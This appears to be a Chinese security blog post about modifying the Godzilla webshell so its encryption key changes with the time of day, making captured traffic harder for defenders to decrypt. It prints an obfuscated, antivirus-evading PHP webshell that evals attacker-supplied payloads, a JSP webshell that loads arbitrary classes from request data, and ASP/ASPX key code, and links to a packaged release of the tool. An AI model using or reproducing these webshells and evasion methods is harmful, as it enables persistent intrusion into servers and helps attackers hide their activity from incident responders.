前言
有小伙伴说,上面的文章都做了动态的免杀,每次生成的木马都不一样,还挺好的,还有没有什么东西可以做成动态的,我想了想,如果把我们的密钥做成动态的,那岂不是,简单的实现了动态加密。
前置知识
首先我们来看,哥斯拉的加密传输过程
pass就是传递的键,payload为值,payload是由key控制的,因为你每次需要发送的东西 都会进行异或一下。如果这里,我们把key设成动态的,那么也就是说,payload就会是动态的。当然,这不是重点,重点是,如果对方的安全设备上,捕获了我们的流量,他想解密我们在其中做了什么,那么就需要key解密,看图中的第八步,执行的结果需要xor才能获取值。好,如果我们的木马文件中,没有写key,或者把key写成动态的,如果他不知道key是什么,那么他就解不出来了我们做了什么了。当然,key是可以爆破的,就是比较麻烦了。
思路
这里我们也可以想到,因为我们必须要传上去一个木马,木马中必定带key和pass,并且本地也需要知道这个key,去和服务端通信。如果客户端发送一个key 再在木马中使用,那么流量中就会暴漏key了。那么,目前来看最好的协商密钥就是时间,我们的哥斯拉肯定是运行在本地的,那么时间肯定是准的,假设,服务器时间也是准的,那么,我们每次执行都需要key,那么也就是说key在变化,我们的payload也在变化。如果运维人员需要解密,那么,将需要更多的时间。
我们在假设一个场景,理想化一点当然如果服务器的时间和本地时间是准的,而安全设备的时间和服务器的时间不同步,那么他可能就解不出来我们的流量了,也就是不知道我们具体做了什么了。思路有了,下面来具体实现。
php 实现动态密钥
直接在我们免杀的基础上改一下,
<?pHPini_set('error_reporting',chr(48));header("HTTP/1.0 404 Not Found");call_user_func(nsfocus("c2V0X3RpbWVfbGltaXQ="), 48);$asiainfosec = Chr(98).Chr(97).Chr(115).Chr(101).Chr(54).Chr(52).Chr(95);$huawei = "x63x6fx64x65";functionhillstonenet(/*antiy*/$chaitin,$topsec){for($damddos=Chr("48");$damddos<strlen($chaitin);$damddos++) {$dbappsecurity = $topsec[$damddos+Chr("49")&chr(49).chr(53)];$chaitin[$damddos] = $chaitin[$damddos]^$dbappsecurity; }return$chaitin;}$sangfor=nsfocus("cGFzcw==");$threatbook = nsfocus("WVhsc2IyRms=");$qianxin = $asiainfosec.Chr(101).Chr(110).$huawei;functionnsfocus($strshiwu){global$asiainfosec,$huawei;$func = $asiainfosec.Chr(100).Chr(101).$huawei;returncall_user_func($func, $strshiwu);}$qingteng=nsfocus("M2M2ZTBiOGE5YzE1MjI0YQ==");$venustech = nsfocus("WjJWMFFtRnphV056U1c1bWJ3PT0=");if (isset($_POST/*qingteng*/[$sangfor])) { @session_start();$alibaba=hillstonenet/*antiy*/(nsfocus($_POST[$sangfor]),$qingteng);if (/*antiy*/isset($_SESSION/*leadsec*/[$dptech])) {$antiy=hillstonenet($_SESSION/*hillstonenet*/[$dptech],$qingteng);if (/*antiy*/strpos($antiy,nsfocus/*antiy*/($venustech))===false) {$antiy=hillstonenet/*antiy*/($antiy,$qingteng);}define("leadsec","//alibabarn".$antiy);@eval(leadsec);echo"{"message":"".$qianxin(hillstonenet(@run($alibaba),$qingteng)).""}"; } else {if (strpos/*nsfocus*/($alibaba,nsfocus($venustech))!==false) {$_SESSION[$dptech]=hillstonenet($alibaba,$qingteng); } }}
$qingteng=nsfocus("M2M2ZTBiOGE5YzE1MjI0YQ=="); 为key的base64,
先看下时间
好,木马做好之后,就是客户端了。我们修改一下客户端。
到连接的代码中改一下,和php的一样,要严格一样,不然md5不对,肯定是连不上的,
看下木马的key,
打包编译即可。
来测试一下。
好,现在来说一下缺点,没说之前,我们还是要仔细的来了解一下哥斯拉的传递参数原理。
在
<?phpfunctionencode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&15];$D[$i] = $D[$i]^$c; }return$D;}$key = "3c6e0b8a9c15224a";echogzdecode(encode(base64_decode(urldecode("fL1tMGI4YTljMn57Hn1UB6v7qeNJ8EnZKTDH/tKI4/eBVFWTRgtWLK0ZfB8cNRIzPu0bNVk4YTk=")),$key));echo"n";echoencode(base64_decode(urldecode("fL1tMGI4YTljMn57Hn1UB6v7qeNJ8EnZKTDH/tKI4/eBVFWTRgtWLK0ZfB8cNRIzPu0bNVk4YTk=")),$key);
代码太长了,简单说一下,就是各种功能的一些函数,如文件读取,创建,命令执行等等很多。
也就是说,哥斯拉会把所有的功能储存到一个session中,后面执行命令的时候,直接调用函数,在进行传参就可以了。然后close掉。
这是点击测试的流程。
下面是执行命令的流程。
然后就是发送测试包,没有问题的话,就是发送getBasicsInfo包获取基本信息了。
这里就是有一个问题,假设我们在06 January 2025 15:00
点击进入页面,
06 January 2025 15:00
的key去异或所有的功能的那个包然后存储到sessionid中,那么问题来了,当时间为06 January 2025 15:01
时,key就会变化,也就是说木马变了。而调用sessionid中的功能的key变化了,所以进入的这个页面就不能用了。那么我们就可以遇到一个问题,不能实时的动态key了。退而求其次,笔者这里采用十分钟一次和60分钟一次。
10min:我们将key设为06 January 2025 15:0
时,那么这个终端就可以使用十分。有同学问了,如果是15:09连上的,能用几分钟,显然,能用一分钟,下一分钟时间变成了06 January 2025 15:1
,就不能用了。
60min:我们将key设为06 January 2025 15
时,那么这个终端就可以使用十分。有同学问了,如果是15:50连上的,能用几分钟,显然,能用10分钟,下10分钟时间变成了06 January 2025 16
,就不能用了。
好,如果不能用了后,怎么再次使用,其实很简单,
有小伙伴可能有疑惑,能不能再长一点时间,其实我是不建议的,为什么呢?假设我们设置了个一天的,那确实不用一直退出了,但是key就不变化了,那么也就是说,跟原来的不动态key加密没有什么区别了,设成一天,还不如直接用定死的key,所以这里没有定义一天的。我们做动态key的初衷就是让运维人员不好解密我们的流量或者解密流量难一些,定义一天流量解密变得简单了,所以暂时先不做吧。
还有一个小事,因为我们动态key的木马连接的时候不需要输入key了,相应的,别人有密码就可以连接你的木马,所以我们使用的时候,尽量把密码设置的复杂一些,自己辛辛苦苦打的成果别让人家上了车。
这里就不写代码过程了,大家直接下载就好了。
jsp 实现动态密钥(暂未实现)
由于笔者能力太菜,jsp的暂未实现。
为什么没能实现呢,大概就是,木马在声明标签<%! %>中定义了key,但是当我们把时间定义为key后,key是不变化的。当这个文件被创建时,就定死了。所以达不到动态的。
<%@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%! classXextendsClassLoader{publicX(ClassLoader z){super(z);}public Class Q(byte[] cb){returnsuper.defineClass(cb, 0, cb.length);} }publicstatic String md5(String s) {Stringret=null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = newjava.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } publicstatic String base64Encode(byte[] bs)throws Exception {Class base64;Stringvalue=null;try {base64=Class.forName("java.util.Base64");ObjectEncoder= base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", newClass[] { byte[].class }).invoke(Encoder, newObject[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); ObjectEncoder= base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", newClass[] { byte[].class }).invoke(Encoder, newObject[] { bs });} catch (Exception e2) {}}return value; }publicstaticbyte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Objectdecoder= base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", newClass[] { String.class }).invoke(decoder, newObject[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Objectdecoder= base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", newClass[] { String.class }).invoke(decoder, newObject[] { bs });} catch (Exception e2) {}}return value; }%><%try{String pass="pass";String xc="3c6e0b8a9c15224a"; byte[] dataa=base64Decode(request.getParameter(pass));Cipherc= Cipher.getInstance("AES");// Initialize for encryption (1) or decryption (2)c.init(2,newSecretKeySpec(xc.getBytes(),"AES"));byte[] data = c.doFinal(dataa); // Encrypt the data//response.getWriter().write("Base64 编码的时间3: " + data + "<br>");if (session.getAttribute("payload")==null){ session.setAttribute("payload",newX(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data); java.io.ByteArrayOutputStream arrOut=newjava.io.ByteArrayOutputStream(); Object f=((Class)session.getAttribute("payload")).newInstance();//response.getWriter().write("Base64 编码的时间: " + f + "<br>"); f.equals(arrOut);Cipherd= Cipher.getInstance("AES"); d.init(1,newSecretKeySpec(xc.getBytes(),"AES"));byte[] data2 = d.doFinal(arrOut.toByteArray()); // Decrypt the data//response.getWriter().write("Base64 编码的时间: " + arrOut + "<br>"); String sss=newString(base64Decode("eyJtZXNzYWdlIjoi")); String ddd=newString(base64Decode("In0=")); f.equals(pageContext);// response.getWriter().write("Base64 编码的时间: " + pageContext + "<br>"); response.getWriter().write(sss); f.toString(); response.getWriter().write(base64Encode(data2)); response.getWriter().write(ddd);} }catch (Exception e){}%>
如果有大牛感兴趣,可以帮帮我,欢迎留言。
asp 实现动态密钥
asp和php的差不多,
我们原版的木马中,并不带md5函数,我们要获取md5 进行实时加密么,
Function MD5(text) With CreateObject("MSXML.DOMDocument").createElement("a").dataType = "bin.hex".nodeTypedvalue = CreateObject("System.Security.Cryptography.MD5CryptoServiceProvider").ComputeHash_2(CreateObject("System.Text.UTF8Encoding").GetBytes_4(text))MD5 = .text End WithEnd Function
网上找个md5加密,对取到的时间进行md5就可以了,
我们配合我们的免杀,一起封装到godzilla里
只用填pass,记得设复杂一点。
上传,使用连接即可,
asp和php的判断是否时间到期有一丢丢区别,就是,如果到时间了,不能用了,不会显示空,而是显示一些乱码,
和php一样,当16:49分时就能用一分钟了,需要从新进入了。
好,简单试下免杀,
好,asp就到这里。下面aspx。
aspx 实现动态密钥
原理都是一样的,改改代码即可。
aspx 实现md5 FormsAuthentication.HashPasswordForStoringInConfigFile(str, "MD5")
然后获取一下时间,即可,
Response.Write(currentDate.ToString("yyyy-MM-dd HH:mm:ss"));
使用起来没有问题。当十分钟后,时间到期了
显示的内容和php的一样,
总结
本文对php、jsp、asp、aspx四种语言尝试实现动态密钥,但是遗憾是jsp语言暂未实现。如果有大牛有兴趣可以研究一下。
php、asp、aspx三种语言都实现了,动态密钥生成以及shell连接。都为10min和60min两种选择。
php:PHP_XOR_BASE64_MESSAGE_60min、PHP_XOR_BASE64_MESSAGE_10minasp:ASP_XOR_BASE64_MESSAGE_data10min、ASP_XOR_BASE64_MESSAGE_data60minaspx:CSHAP_AES_BASE64_DATA_10min、CSHAP_AES_BASE64_DATA_60min
那么怎么在不上传🐎的情况下,判断我们的木马是否可以使用呢,比如传个hello等,其实很简单就是先传一下时间,看看能不能解析,并且是否和本地时间相同。
php:<?php echo date("Y-m-d H:i:s");?>
asp:<%response.write formatdatetime(now,0)%>
aspx:<%Response.Write(DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));%><% @language="c#" %>
下个版本
大家可以发现,该版本我写的文章较少,有许多代码都没有详细的写出来,一些时间的获取上,都没有列出来,为的就是大家可以多使用一些时间。所以这个版本笔者先暂不公布代码,下个版本在进行公布在github。
1.2版本实现动态密钥获取,但是并没有改流量以及加密方式,只是做了伪装,后面需要做的:修改一下加密方式,这样的话会更好一点。还有就是message其实是固定的,希望能让他动起来。还有传递的参数 page=1&size=10 是固定的,让他也动起来,比如Accept-Language、User-Agent这种header头实现动态的 。其他语言的 比如 jspf的 ,asmx的都没做,笔者后面做。
这里收集个建议,就是说,我们实现了 10min和60min的换密钥,笔者在测试的时候,其实是可以实现1分钟,或者任意时间换密钥的,就是想问下,需不需要1min这种shell,就是我就不想让蓝队那么快解密,甚至解不出来、但是比较极限,执行两条三条命令就要从新点击进入,有些麻烦,或者其他想法。留言即可。
下载、使用
什么,你说看不明白、不想动手、太麻烦,没事,去下载就可以了。https://github.com/Bohemiana/godzilla_erkai
release 1.0 流量修改版本,src代码也以上传,大家直接下载研究即可。
release 1.1 免杀版本,src代码也以上传,大家直接下载研究即可。
release 1.2 流量修改+免杀+动态密钥版本,大家直接下载使用即可。
致谢
最后感谢您读到现在,这篇文章匆忙构成肯定有不周到或描述不正确的地方,期待业界师傅们用各种方式指正勘误。
参考
https://github.com/BeichenDream/Godzilla 致敬原版哥斯拉https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A 冰蝎v4.0传输协议详解https://yzddmr6.com/posts/antsword-xor-encoder/ 蚁剑实现动态秘钥编码器解码器
emmm 太菜了一直在路上
往期文章
原文始发于微信公众号(哈拉少安全小队):哥斯拉二开从0到1-3(动态密钥)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论